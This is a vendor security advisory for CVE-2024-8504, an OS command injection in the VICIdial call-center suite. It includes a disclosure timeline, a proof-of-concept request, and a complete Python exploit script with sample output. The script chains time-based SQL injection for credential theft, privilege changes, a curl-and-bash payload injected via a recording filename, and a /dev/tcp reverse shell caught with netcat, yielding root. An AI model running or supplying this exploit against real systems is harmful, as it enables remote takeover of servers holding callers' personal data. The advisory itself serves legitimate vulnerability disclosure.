Vulnerability Details

Affected Vendor: VICIdial
Affected Product: VICIdial
Affected Version: 2.14-917a
Platform: GNU/Linux
CWE Classification: CWE-78: Improper Neutralization of Special
Elements used in an OS Command
(‘OS Command Injection’)
CVE ID: CVE-2024-8504

Vulnerability Description

An attacker with authenticated access to VICIdial as an “agent”
can execute arbitrary shell commands as the “root” user. This
attack can be chained with CVE-2024-8503 to execute arbitrary
shell commands starting from an unauthenticated perspective.

Technical Description

VICIdial is an open-source contact center suite, mainly used
by call centers. The “vicidial.com” website boasts over 14,000
registered installations. There is a public SVN repository to
access the source code, as well as an ISO that can be used to
install the software. The ISO was used in a virtual machine
for testing purposes.

Users can be added to specific “groups” that enable them to log
into the “agent” web client if that group is associated with a
“campaign”. This web client is for agents to manage inbound
and outbound phone calls, displaying pertinent information
regarding the “lead”, such as the personal information of the
individual on the other end of the call.

An agent has the ability to record the phone call using the
“START RECORDING” button. When clicked, an HTTP request is sent
to the server which is processed by the “manager_send.php”
PHP script. The “filename” parameter included in the request
is sanitized with the “preg_replace” PHP function to prevent
SQL injection, as shown by this snippet:

if (isset($_GET[“filename”])) {$filename=$_GET[“filename”];}
elseif (isset($_POST[“filename”])) {$filename=$_POST[“filename”];}
…
$filename = preg_replace(“/'|"|\\|;/”,“”,$filename);

The regular expression used to sanitize this parameter is
very permissive, only removing single quotes, double quotes,
backslashes, and semicolons.

Later in the execution of “manager_send.php”, the “filename”
variable is added to a SQL database through an “INSERT”
statement, along with other user-controlled variables such as
“exten”:

$stmt=“INSERT INTO vicidial_manager values(‘’,‘’,‘$NOW_TIME’,
‘NEW’,‘N’,‘$server_ip’,‘’,‘Originate’,‘$vmgr_callerid’,
‘Channel: $channel’,‘Context: $ext_context’,
‘Exten: $exten’,‘Priority: $ext_priority’,
‘Callerid: $filename’,‘’,‘’,‘’,‘’,‘’);”;
if ($format==‘debug’) {echo “\n”;}
$rslt=mysql_to_mysqli($stmt, $link);

On the server-side, an asyncronous cron job is executing the
perl script “ADMIN_keepalive_ALL.pl”:

vicibox11:/ # crontab -l | grep keepalive

keepalive script for astguiclient processes

• • • • • /usr/share/astguiclient/ADMIN_keepalive_ALL.pl

This perl script ensures several worker perl scripts
are running. Included in these worker perl scripts is
“AST_manager_send.pl”, as shown by this snippet from
“ADMIN_keepalive_ALL.pl”:

if ($psline[1] =~ /AST_manager_se/)
{
$runningAST_send++;
if ($DB) {print “AST_send RUNNING: |$psline[1]|\n”;}
}
…
if ( ($AST_send_listen > 0) && ($runningAST_send < 1) )
{
if ($DB) {print “starting AST_manager_send…\n”;}

add a ‘-L’ to the command below to activate logging

/usr/bin/screen -d -m -S ASTsend $PATHhome/AST_manager_send.pl $debug_string;

The “AST_manager_send.pl” script will continuously monitor the
“vicidial_manager” table in the SQL database for records with
the “status” column equal the string “NEW”. Values from that
row are then URL-encoded and used as command-line arguments
to invoke the “AST_send_action_child.pl” perl script:

while ($endless_loop > 0)
{
my $stmtA = “SELECT count(*) from
vicidial_manager where server_ip = '”
. $conf{VARserver_ip} . “’ and status = ‘NEW’;”;
…
$originate_command .= $vdm->{cmd_line_e} . “\n”
if ($vdm->{cmd_line_e});
$originate_command .= $vdm->{cmd_line_f} . “\n”
if ($vdm->{cmd_line_f});
$originate_command .= $vdm->{cmd_line_g} . “\n”
if ($vdm->{cmd_line_g});
…
$vdm->{cmd_line_e} =~ s/([^A-Za-z0-9])/sprintf(“%%%02X”, ord($1))/seg;
$vdm->{cmd_line_f} =~ s/([^A-Za-z0-9])/sprintf(“%%%02X”, ord($1))/seg;
$vdm->{cmd_line_g} =~ s/([^A-Za-z0-9])/sprintf(“%%%02X”, ord($1))/seg;
…
$launch .= " --cmd_line_e=" . $vdm->{cmd_line_e}
if ($vdm->{cmd_line_e});
$launch .= " --cmd_line_f=" . $vdm->{cmd_line_f}
if ($vdm->{cmd_line_f});
$launch .= " --cmd_line_g=" . $vdm->{cmd_line_g}
if ($vdm->{cmd_line_g});
…
$launch .= " >> " . $conf{PATHlogs} . “/action_send.” . logDate()
if ($SYSLOG);
system($launch . ’ &');

The “AST_send_action_child.pl” will then initiate a telnet
connection to the “Asterisk Call Manager” and issue various
commands as they appear in the command-line arguments:

my $tn = new Net::Telnet (Port => $telnet_port,
Prompt => ‘/\r\n/’,
Output_record_separator => ‘’,
Errmode => “return”);
…
$tn->open(“$telnet_host”);
$tn->waitfor(‘/Asterisk Call Manager//’);
…
$originate_command .= $cmd_line_e . “\n” if ($cmd_line_e);
$originate_command .= $cmd_line_f . “\n” if ($cmd_line_f);
$originate_command .= $cmd_line_g . “\n” if ($cmd_line_g);
…
my @list_channels = $tn->cmd(String => $originate_command,
Prompt => ‘/.*/’);

These commands are then processed by the Asterisk
Management interface (AMI). The configuration file
“extensions-vicidial.conf” contains useful information on
how AMI processes the value of the user-controlled “Exten”
command. The following is a relevant snippet:

exten => 8309,1,Answer
exten => 8309,2,Monitor(wav,${CALLERID(name)})
exten => 8309,3,Wait(3600)
exten => 8309,4,Hangup()
…

When supplying an “Exten” value of “8309”, the “Monitor”
application is invoked, which will record the current call and
write the recorded data into a file. The default directory
is “/var/spool/asterisk/monitor”. In this case, the name
of the file is derived from the “CALLERID”, which is also
user-controlled.

This can be leveraged by an attacker to write file names
that contain malicious shell commands. Take for example the
following HTTP request:

POST /agc/manager_send.php HTTP/1.1
Host: REDACTED
Content-Length: 279
Content-Type: application/x-www-form-urlencoded; charset=UTF-8

server_ip=REDACTED&session_name=1716765726_8300defaul17394646&user=korelogic&pass=korelogic&ACTION=MonitorConf&format=text&channel=Local/58600051@default&filename=3133731337$(id>foobar.txt)&exten=8309&ext_context=default&lead_id=&ext_priority=1&FROMvdc=YES&uniqueid=&FROMapi=

Two files are created within the “/var/spool/asterisk/monitor”
directory:

vicibox11:/ # ls -l /var/spool/asterisk/monitor
total 216
-rw-r–r-- 1 root root 213164 May 30 05:30
3133731337$(id>foobar.txt)-in.wav
-rw-r–r-- 1 root root 44 May 30 05:30
3133731337$(id>foobar.txt)-out.wav

Additionally, the “AST_CRON_audio_1_move_VDonly.pl” perl script
is executed every 3 minutes:

vicibox11:/ # crontab -l | grep VDonly
0,3,6,9,12,15,18,21,24,27,30,33,36,39,42,45,48,51,54,57 * * * *
/usr/share/astguiclient/AST_CRON_audio_1_move_VDonly.pl

This script searches for WAV/GSM files within the Asterisk
monitor directory and uses the file names to execute several
shell commands:

foreach(@FILES)
{
…
$INfile = $FILES[$i];
…
if (!$T)
{
mv -f "$dir1/$INfile" "$dir2/$ALLfile";
rm -f "$dir1/$OUTfile";
}

The malicious file name is then inserted into the “mv”
command. The attacker controlled “id” command is executed and
the output is redirected to the file “foo.txt”:

vicibox11:/ # ls -l /root/foobar.txt
-rw-r–r-- 1 root root 39 May 30 05:33 /root/foobar.txt

Mitigation and Remediation Recommendation

This issue has been remediated in the public svn/trunk codebase,
as of revision 3848 committed 2024-07-08.

Credit

This vulnerability was discovered by Jaggar Henry of KoreLogic,
Inc.

Disclosure Timeline

2024-07-05 : KoreLogic requests security contact from
[email protected].
2024-07-08 : KoreLogic reports vulnerability details to VICIdial
contact.
2024-07-08 : VICIdial notifies KoreLogic that the issue has been
remediated with revision 3848 in the public
Subversion repository.
2024-07-11 : KoreLogic confirms this vulnerability has been
remediated. KoreLogic asks VICIdial if it is
appropriate to publicly disclose the vulnerability
details at this time.
2024-07-11 : VICIdial requests four weeks of embargo in order to
upgrade supported customers.
2024-08-05 : KoreLogic asks VICIdial if it is appropriate to
publicly disclose the vulnerability details at
this time.
2024-08-09 : VICIdial requests an additional two weeks of
embargo.
2024-09-10 : KoreLogic public disclosure.

Proof of Concept

Instead of executing the “id” command, a malicious bash script
can be downloaded and executing using the cURL utility. The following
file name is an example:

 $([email protected]$IFS-o$IFS.c&&bash$IFS.c)

This issue can be chained with KL-001-2024-011 (unauthenticated SQL injection)
to execute arbitrary shell commands as the root user from an unauthenticated
perspective:

[goon@security exploits]$ python unauth2rce.py -rh 192.168.2.136 -rp 443 -wh 192.168.2.65 -wp 3000 -lh 192.168.2.65 -lp 1337 --bind
[+] Target appears vulnerable to time-based SQL injection
[~] Enumerating administrator credentials
[~] 6
[~] 66
[~] 666
[~] 6666
[+] Username: 6666
[~] J
[~] JA
[~] JAB
[~] JAB1
[~] JAB18
[~] JAB181
[~] JAB181M
[~] JAB181MA
[~] JAB181MAB
[~] JAB181MAB1
[~] JAB181MAB17
[~] JAB181MAB178
[~] JAB181MAB178_
[~] JAB181MAB178_L
[~] JAB181MAB178_LA
[~] JAB181MAB178_LAn
[+] Password: JAB181MAB178_LAn
[+] Authenticated successfully as user “6666”
[+] Updated user settings to increase privileges
[+] Updated system settings
[+] Created dummy campaign “korelogic_campaign”
[+] Updated dummy campaign settings
[+] Created dummy list for campaign
[+] Found phone credentials: callin:test
[+] Entered “manager” credentials to override shift enforcement
[+] Authenticated as agent using phone credentials
[~] Listening for incoming connections…
[+] Received cURL request from 192.168.2.136
Connection from 192.168.2.136:56980
vicibox11:~ # id
uid=0(root) gid=0(root) groups=0(root)

#########################

unauth2rce.py

#########################

import os
import re
import socket
import string
import random
import urllib3
import argparse
import requests
import threading
from base64 import b64encode
from bs4 import BeautifulSoup

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class Exploit:
def init(self, rhost, rport, whost, wport, lhost=None, lport=None, bind=False, proxy=None):
“”"
This ‘sleep’ duration is derived by the average response time
multiplied by this value. A server with an average response time
of 10ms is given a ‘sleep’ duration of 300ms. Tune as needed.
“”"
self.SLEEP_MULTIPLIER = 30

 	self.REQUEST_HEADERS = {'User-Agent': 'KoreLogic'}
 	self.ALLOWED_SCHEMES = ['http', 'https']
 	if proxy:
 		self.REQUEST_PROXIES = {
 			'http':  proxy,
 			'https': proxy
 		}
 	else:
 		self.REQUEST_PROXIES = {}		

 	self.TARGET_IP   = rhost
 	self.TARGET_PORT = rport

 	self.PAYLOAD_WEBSERVER_HOST = whost
 	self.PAYLOAD_WEBSERVER_PORT = wport

 	self.REVERSE_SHELL_HOST = lhost
 	self.REVERSE_SHELL_PORT = lport

 	self.BIND = bind

 	self.VICIDIAL_FINGERPRINT = 'Please Hold while I redirect you!'
 	self.RANDOM_CHARSET = string.ascii_uppercase + string.digits

 # returns a URI with 'http' or 'https'
 def determine_target_uri(self):
 	for scheme in self.ALLOWED_SCHEMES:
 		target_uri = f'{scheme}://{self.TARGET_IP}:{self.TARGET_PORT}'
 		try:
 			response = requests.get(target_uri, headers=self.REQUEST_HEADERS, verify=False)
 			if self.VICIDIAL_FINGERPRINT in response.text:
 				return target_uri
 		except:
 			pass

 # returns a session object with custom proxies/headers if supplied
 def build_requests_session(self):
 	self.base_uri = self.determine_target_uri()
 	session = requests.Session()
 	session.proxies = self.REQUEST_PROXIES
 	session.verify  = False
 	return session

 # returns a random string of a given length
 def random(self, length):
 	return ''.join(random.choice(self.RANDOM_CHARSET) for _ in range(length))

 # returns a timedelta representing the response time of an injected SQL query
 def time_sql_query(self, query, session):
 	username    = f"goolicker', '', ({query}));# "
 	credentials = f'{username}:password'
 	credentials_base64 = b64encode(credentials.encode()).decode()
 	auth_header = f'Basic {credentials_base64}'

 	target_uri = f'{self.base_uri}/VERM/VERM_AJAX_functions.php'
 	request_params  = {'function': 'log_custom_report', self.random(5): self.random(5)}
 	request_headers = {**self.REQUEST_HEADERS, 'Authorization': auth_header}

 	response = session.get(target_uri, params=request_params, headers=request_headers)
 	return response.elapsed

 # returns a boolean if time-based SQL injection is possible, additionally
 # sets the best 'sleep' duration based on response times
 def is_vulnerable(self, session, baseline_iterations=5):
 	# determine average baseline response time
 	zero_sleep_query = f'SELECT (NULL)'
 	total_baseline_time = 0
 	for _ in range(baseline_iterations):
 		execution_time = self.time_sql_query(zero_sleep_query, session)
 		total_baseline_time += execution_time.total_seconds()

 	average_baseline_response_time = total_baseline_time / baseline_iterations
 	self.sql_baseline_time = average_baseline_response_time

 	# determine if injected sleep query impacts response time
 	sleep_length = round(average_baseline_response_time * self.SLEEP_MULTIPLIER, 2)
 	sleep_query  = f'SELECT (sleep({sleep_length}))'
 	execution_time = self.time_sql_query(sleep_query, session)
 	if execution_time.total_seconds() >= sleep_length:
 		self.sql_sleep_length = sleep_length
 		return True
 	else:
 		return False

 # determine if a character at a specific indice of a query result returns a
 # boolean 'true' when compared to a given character using the supplied operator
 def check_indice_of_query_result(self, session, query, indice, operator, ordinal):
 	parent_query    = f'SELECT IF(ORD((SUBSTRING(({query}), {indice}, {indice}))){operator}{ordinal}, sleep({self.sql_sleep_length}), null)'
 	execution_time  = self.time_sql_query(parent_query, session)
 	return execution_time.total_seconds() >= (self.sql_baseline_time * self.SLEEP_MULTIPLIER)

 def enumerate_sql_query(self, session, query='SELECT @@version', charset=string.printable):
 	# convert charset to ordinals
 	all_characters     = sorted([ord(char) for char in charset])
 	reduced_characters = all_characters

 	# use a binary search and enumerate query results
 	result = ''
 	indice = 1
 	indice_could_be_null = True
 	while True:
 		"""
 		we check if the value is NULL once per indice
 		to determine when a string ends. this adds one
 		request per indice, but since every boolean 'true'
 		results in a delay this is faster than counting
 		the length of the string before enumrating.
 		"""
 		if indice_could_be_null:
 			if self.check_indice_of_query_result(session, query, indice, '=', '0'):
 				break
 			else:
 				indice_could_be_null = False

 		# enumerate each character of query result with a binary search
 		middle_indice  = len(reduced_characters) // 2
 		middle_ordinal = reduced_characters[middle_indice]
 		if self.check_indice_of_query_result(session, query, indice, '<=', middle_ordinal):
 			if self.check_indice_of_query_result(session, query, indice, '=', middle_ordinal):
 				reduced_characters = all_characters
 				result += chr(middle_ordinal)
 				indice += 1
 				indice_could_be_null = True
 				print(f'[~] {result}')
 			else:
 				reduced_characters = reduced_characters[:middle_indice]
 		else:
 			reduced_characters = reduced_characters[middle_indice:]
 	
 	return result

 def poison_recording_files(self, session, username, password):
 	# authenticate using administrator credentials
 	credentials = f'{username}:{password}'
 	credentials_base64 = b64encode(credentials.encode()).decode()
 	auth_header = f'Basic {credentials_base64}'

 	target_uri = f'{self.base_uri}/vicidial/admin.php'
 	request_params  = {'ADD': '3', 'user': username}
 	request_headers = {**self.REQUEST_HEADERS, 'Authorization': auth_header}

 	response = session.get(target_uri, params=request_params, headers=request_headers)
 	if response.status_code == 200:
 		print(f'[+] Authenticated successfully as user "{username}"')
 	else:
 		print('[-] Failed to authenticate with credentials. Maybe hashing is enabled?')
 		return

 	# update user settings to increase privileges beyond default administrator
 	user_settings_body = {
 		"ADD":"4A","custom_fields_modify":"0","user":username,"DB":"0","pass":password,
 		"force_change_password":"N","full_name":"KoreLogic","user_level":"9",
 		"user_group":"ADMIN","phone_login":"KoreLogic","phone_pass":"KoreLogic",
 		"active":"Y","voicemail_id":"","email":"","mobile_number":"","user_code":"",
 		"user_location":"","user_group_two":"","territory":"","user_nickname":"",
 		"user_new_lead_limit":"-1","agent_choose_ingroups":"1","agent_choose_blended":"1",
 		"hotkeys_active":"0","scheduled_callbacks":"1","agentonly_callbacks":"0",
 		"next_dial_my_callbacks":"NOT_ACTIVE","agentcall_manual":"0","manual_dial_filter":"DISABLED",
 		"agentcall_email":"0","agentcall_chat":"0","vicidial_recording":"1","vicidial_transfers":"1",
 		"closer_default_blended":"0","user_choose_language":"0","selected_language":"default+English",
 		"vicidial_recording_override":"DISABLED","mute_recordings":"DISABLED",
 		"alter_custdata_override":"NOT_ACTIVE","alter_custphone_override":"NOT_ACTIVE",
 		"agent_shift_enforcement_override":"ALL","agent_call_log_view_override":"Y",
 		"hide_call_log_info":"Y","agent_lead_search":"NOT_ACTIVE","lead_filter_id":"NONE",
 		"user_hide_realtime":"0","allow_alerts":"0","preset_contact_search":"NOT_ACTIVE",
 		"max_inbound_calls":"0","max_inbound_filter_enabled":"0","max_inbound_filter_min_sec":"-1",
 		"inbound_credits":"-1","max_hopper_calls":"0","max_hopper_calls_hour":"0",
 		"wrapup_seconds_override":"-1","ready_max_logout":"-1","status_group_id":"",
 		"campaign_js_rank_select":"","campaign_js_grade_select":"","ingroup_js_rank_select":"",
 		"ingroup_js_grade_select":"","RANK_AGENTDIRECT":"0","GRADE_AGENTDIRECT":"10",
 		"LIMIT_AGENTDIRECT":"-1","WEB_AGENTDIRECT":"","RANK_AGENTDIRECT_CHAT":"0",
 		"GRADE_AGENTDIRECT_CHAT":"10","LIMIT_AGENTDIRECT_CHAT":"-1","WEB_AGENTDIRECT_CHAT":"",
 		"custom_one":"","custom_two":"","custom_three":"","custom_four":"","custom_five":"",
 		"qc_enabled":"0","qc_user_level":"1","qc_pass":"0","qc_finish":"0","qc_commit":"0",
 		"hci_enabled":"0","realtime_block_user_info":"0","admin_hide_lead_data":"0",
 		"admin_hide_phone_data":"0","ignore_group_on_search":"0","user_admin_redirect_url":"",
 		"view_reports":"1","access_recordings":"0","alter_agent_interface_options":"1",
 		"modify_users":"1","change_agent_campaign":"1","delete_users":"1","modify_usergroups":"1",
 		"delete_user_groups":"1","modify_lists":"1","delete_lists":"1","load_leads":"1",
 		"modify_leads":"1","export_gdpr_leads":"0","download_lists":"1","export_reports":"1",
 		"delete_from_dnc":"1","modify_campaigns":"1","campaign_detail":"1","modify_dial_prefix":"1",
 		"delete_campaigns":"1","modify_ingroups":"1","delete_ingroups":"1","modify_inbound_dids":"1",
 		"delete_inbound_dids":"1","modify_custom_dialplans":"1","modify_remoteagents":"1",
 		"delete_remote_agents":"1","modify_scripts":"1","delete_scripts":"1","modify_filters":"1",
 		"delete_filters":"1","ast_admin_access":"1","ast_delete_phones":"1","modify_call_times":"1",
 		"delete_call_times":"1","modify_servers":"1","modify_shifts":"1","modify_phones":"1",
 		"modify_carriers":"1","modify_email_accounts":"0","modify_labels":"1","modify_colors":"1",
 		"modify_languages":"0","modify_statuses":"1","modify_voicemail":"1","modify_audiostore":"1",
 		"modify_moh":"1","modify_tts":"1","modify_contacts":"1","callcard_admin":"1",
 		"modify_auto_reports":"0","add_timeclock_log":"1","modify_timeclock_log":"1",
 		"delete_timeclock_log":"1","manager_shift_enforcement_override":"1","pause_code_approval":"1",
 		"admin_cf_show_hidden":"0","modify_ip_lists":"0","ignore_ip_list":"0",
 		"two_factor_override":"NOT_ACTIVE","vdc_agent_api_access":"1","api_list_restrict":"0",
 		"api_allowed_functions%5B%5D":"ALL_FUNCTIONS","api_only_user":"0","modify_same_user_level":"1",
 		"download_invalid_files":"1","alter_admin_interface_options":"1","SUBMIT":"SUBMIT"
 	}
 	response = session.post(target_uri, headers=request_headers, data=user_settings_body)
 	print('[+] Updated user settings to increase privileges')

 	# update system settings without clobbering existing configuration
 	response = session.get(target_uri, headers=request_headers, params={'ADD':'311111111111111'})
 	soup = BeautifulSoup(response.text, 'html.parser')
 	form_tag = soup.find('form')
 	system_settings_body = {}
 	for input_tag in form_tag.find_all('input'):
 		setting_name  = input_tag['name']
 		setting_value = input_tag['value']
 		system_settings_body[setting_name] = setting_value

 	for select_tag in form_tag.find_all('select'):
 		setting_name = select_tag['name']
 		selected_tag = select_tag.find('option', selected=True)
 		if not selected_tag:
 			continue
 		setting_value = selected_tag.text
 		system_settings_body[setting_name] = setting_value

 	system_settings_body['outbound_autodial_active'] = '0'
 	response = session.post(target_uri, headers=request_headers, data=system_settings_body)
 	print('[+] Updated system settings')

 	# create dummy campaign
 	campaign_settings_body = {
 		"ADD":"21","park_ext":"","campaign_id":"313373","campaign_name":"korelogic_campaign",
 		"campaign_description":"","user_group":"---ALL---","active":"Y","park_file_name":"",
 		"web_form_address":"","allow_closers":"Y","hopper_level":"1","auto_dial_level":"0",
 		"next_agent_call":"random","local_call_time":"12pm-5pm","voicemail_ext":"","script_id":"",
 		"get_call_launch":"NONE","SUBMIT":"SUBMIT"
 	}
 	response = session.post(target_uri, headers=request_headers, data=campaign_settings_body)
 	print('[+] Created dummy campaign "korelogic_campaign"')

 	# update dummy campaign
 	update_campaign_body = {	
 		"ADD":"41","campaign_id":"313373","old_campaign_allow_inbound":"Y",
 		"campaign_name":"korelogic_campaign","active":"Y","dial_status":"","lead_order":"DOWN",
 		"list_order_mix":"DISABLED","lead_filter_id":"NONE", "no_hopper_leads_logins":"Y",
 		"hopper_level":"1","reset_hopper":"N","dial_method":"RATIO","auto_dial_level":"1",
 		"adaptive_intensity":"0","SUBMIT":"SUBMIT","form_end":"END"
 	}
 	response = session.post(target_uri, headers=request_headers, data=update_campaign_body)
 	print('[+] Updated dummy campaign settings')

 	# create dummy list
 	list_settings_body = {
 		"ADD":"211","list_id":"313374","list_name":"korelogic_list","list_description":"",
 		"campaign_id":"313373","active":"Y","SUBMIT":"SUBMIT"
 	}
 	response = session.post(target_uri, headers=request_headers, data=list_settings_body)
 	print('[+] Created dummy list for campaign')

 	# fetch credentials for a phone login
 	response = session.get(target_uri, headers=request_headers, params={'ADD':'10000000000'})
 	soup = BeautifulSoup(response.text, 'html.parser')
 	phone_uri_path = soup.find('a', string='MODIFY')['href']

 	response = session.get(f'{self.base_uri}{phone_uri_path}', headers=request_headers)
 	soup = BeautifulSoup(response.text, 'html.parser')
 	phone_extension     = soup.find('input', {'name': 'extension'})['value']
 	phone_password      = soup.find('input', {'name': 'pass'})['value']
 	recording_extension = soup.find('input', {'name': 'recording_exten'})['value']
 	print(f'[+] Found phone credentials: {phone_extension}:{phone_password}')

 	# authenticate to agent portal with phone credentials
 	manager_login_body = {
 		"DB":"0","JS_browser_height":"1313","JS_browser_width":"2560","phone_login":phone_extension,
 		"phone_pass":phone_password,"LOGINvarONE":"","LOGINvarTWO":"","LOGINvarTHREE":"","LOGINvarFOUR":"",
 		"LOGINvarFIVE":"","hide_relogin_fields":"","VD_login":username,"VD_pass":password,
 		"MGR_override":"1","relogin":"YES","VD_login":username,"VD_pass":password,
 		"MGR_login20240530":username,"MGR_pass20240530":password,"SUBMIT":"SUBMIT"
 	}
 	response = session.post(f'{self.base_uri}/agc/vicidial.php', headers=request_headers, data=manager_login_body)
 	print(f'[+] Entered "manager" credentials to override shift enforcement')

 	agent_login_body = {
 		"DB":"0","JS_browser_height":"1313","JS_browser_width":"2560","admin_test":"","LOGINvarONE":"",
 		"LOGINvarTWO":"","LOGINvarTHREE":"","LOGINvarFOUR":"","LOGINvarFIVE":"","phone_login":phone_extension,
 		"phone_pass":phone_password,"VD_login":username,"VD_pass":password,"VD_campaign":"313373",
 	}
 	response = session.post(f'{self.base_uri}/agc/vicidial.php', headers=request_headers, data=agent_login_body)
 	print(f'[+] Authenticated as agent using phone credentials')

 	# insert malicious recording
 	session_name = re.findall(r"var session_name = '([a-zA-Z0-9_]+?)';", response.text)[0]
 	session_id   = re.findall(r"var session_id = '([0-9]+?)';", response.text)[0]
 	malicious_filename = f"3133731337$(curl$IFS@{self.PAYLOAD_WEBSERVER_HOST}:{self.PAYLOAD_WEBSERVER_PORT}$IFS-o$IFS.c&&bash$IFS.c)"
 	record1_body = {
 		"server_ip":self.TARGET_IP,"session_name":session_name,"user":username,"pass":password,
 		"ACTION":"MonitorConf","format":"text","channel":f"Local/{recording_extension}@default","filename":malicious_filename,
 		"exten":recording_extension,"ext_context":"default","lead_id":"","ext_priority":"1","FROMvdc":"YES",
 		"uniqueid":"","FROMapi":""
 	}
 	response = session.post(f'{self.base_uri}/agc/manager_send.php', headers=request_headers, data=record1_body)
 	recording_id = re.findall(r'RecorDing_ID: ([0-9]+)', response.text)[0]

 	# stop malicious recording to prevent file size from growing
 	record2_body = {
 		"server_ip":self.TARGET_IP,"session_name":session_name,"user":username,
 		"pass":password,"ACTION":"StopMonitorConf","format":"text","channel":f"Local/{recording_extension}@default",
 		"filename":f"ID:{recording_id}","exten":session_id,"ext_context":"default","lead_id":"","ext_priority":"1",
 		"FROMvdc":"YES","uniqueid":"","FROMapi":""
 	}
 	response = session.post(f'{self.base_uri}/agc/conf_exten_check.php', headers=request_headers, data=record2_body)

 # returns administrator username and password by
 # exploiting time-based SQL injection.
 def extract_admin_credentials(self, session):
 	print('[~] Enumerating administrator credentials')
 	username_charset = string.ascii_letters + string.digits
 	admin_username_query = "SELECT user FROM vicidial_users WHERE user_level = 9 AND modify_same_user_level = '1' LIMIT 1"
 	admin_username = self.enumerate_sql_query(session, admin_username_query, username_charset)
 	print(f'[+] Username: {admin_username}')

 	password_charset = string.ascii_letters + string.digits + '-.+/=_'
 	admin_password_query = f"SELECT pass FROM vicidial_users WHERE user = '{admin_username}' LIMIT 1"
 	admin_password = self.enumerate_sql_query(session, admin_password_query, password_charset)
 	print(f'[+] Password: {admin_password}')

 	return admin_username, admin_password

 # emulates a webserver to deliver exploit script
 def payload_webserver(self):
 	server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 	server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
 	server.bind((self.PAYLOAD_WEBSERVER_HOST, int(self.PAYLOAD_WEBSERVER_PORT)))
 	server.listen(1)

 	while True:
 		client, incoming_address = server.accept()
 		message = client.recv(100)
 		if b'User-Agent: curl' in message:
 			break
 		else:
 			client.close()

 	print(f'[+] Received cURL request from {incoming_address[0]}')
 	exploit_script = f"#!/bin/bash\nbash -i >& /dev/tcp/{self.REVERSE_SHELL_HOST}/{self.REVERSE_SHELL_PORT} 0>&1"
 	http_response  = f"HTTP/1.1 200 OK\r\n"
 	http_response += f"Content-Length: {len(exploit_script)}\r\n\r\n"
 	http_response += exploit_script
 	client.sendall(http_response.encode())
 	client.close()

 # starts a netcat process to catch the incoming reverse shell
 def netcat_listener(self):
 	os.system(f'nc -nlvs {self.REVERSE_SHELL_HOST} -p {self.REVERSE_SHELL_PORT}')

 # binds to provided addresses and handles incoming connections
 def prepare_listeners(self):
 	webserver = threading.Thread(target=self.payload_webserver)
 	netcat    = threading.Thread(target=self.netcat_listener)
 	print('[~] Listening for incoming connections...')
 	netcat.start()
 	webserver.start()
 	

 # establish a reverse shell as root from the vicidial instance
 def shell(self):
 	session = self.build_requests_session()
 	is_vulnerable = self.is_vulnerable(session)
 	if is_vulnerable:
 		print('[+] Target appears vulnerable to time-based SQL injection')
 	else:
 		print('[-] Failed to perform time-based SQL injection')
 		return

 	username, password = self.extract_admin_credentials(session)
 	self.poison_recording_files(session, username, password)

 	# prepare exploit listeners if configured
 	if self.BIND: self.prepare_listeners()

if name == ‘main’:
argparser = argparse.ArgumentParser(description=‘Exploit for CVE-2024-XXXXX: Unauthenticated SQLi to RCE as root’)
required = argparser.add_argument_group(‘Required Arguments’)
optional = argparser.add_argument_group(‘Optional Arguments’)
required.add_argument(‘-rh’, ‘–rhost’, required=True, help=‘Vicidial Server IP address’)
required.add_argument(‘-rp’, ‘–rport’, required=True, help=‘Vicidial Server port number’)
required.add_argument(‘-wh’, ‘–whost’, required=True, help=‘Malicious webserver IP address’)
required.add_argument(‘-wp’, ‘–wport’, required=True, help=‘Malicious webserver port number’)
required.add_argument(‘-lh’, ‘–lhost’, required=False, help=‘Reverse shell listener IP address’)
required.add_argument(‘-lp’, ‘–lport’, required=False, help=‘Reverse shell listener port number’)
optional.add_argument(‘-b’, ‘–bind’, required=False, help=‘Bind to [lhost:lport] and [whost:wport] and handle connections automatically’, action=‘store_true’, default=False)
optional.add_argument(‘-p’, ‘–proxy’, required=False, help=‘HTTP[S] proxy to use for outbound requests’, default=None)
arguments = argparser.parse_args()

 exploit = Exploit(
 	rhost = arguments.rhost,
 	rport = arguments.rport,
 	whost = arguments.whost,
 	wport = arguments.wport,
 	lhost = arguments.lhost,
 	lport = arguments.lport,
 	bind  = arguments.bind,
 	proxy = arguments.proxy
 )
 exploit.shell()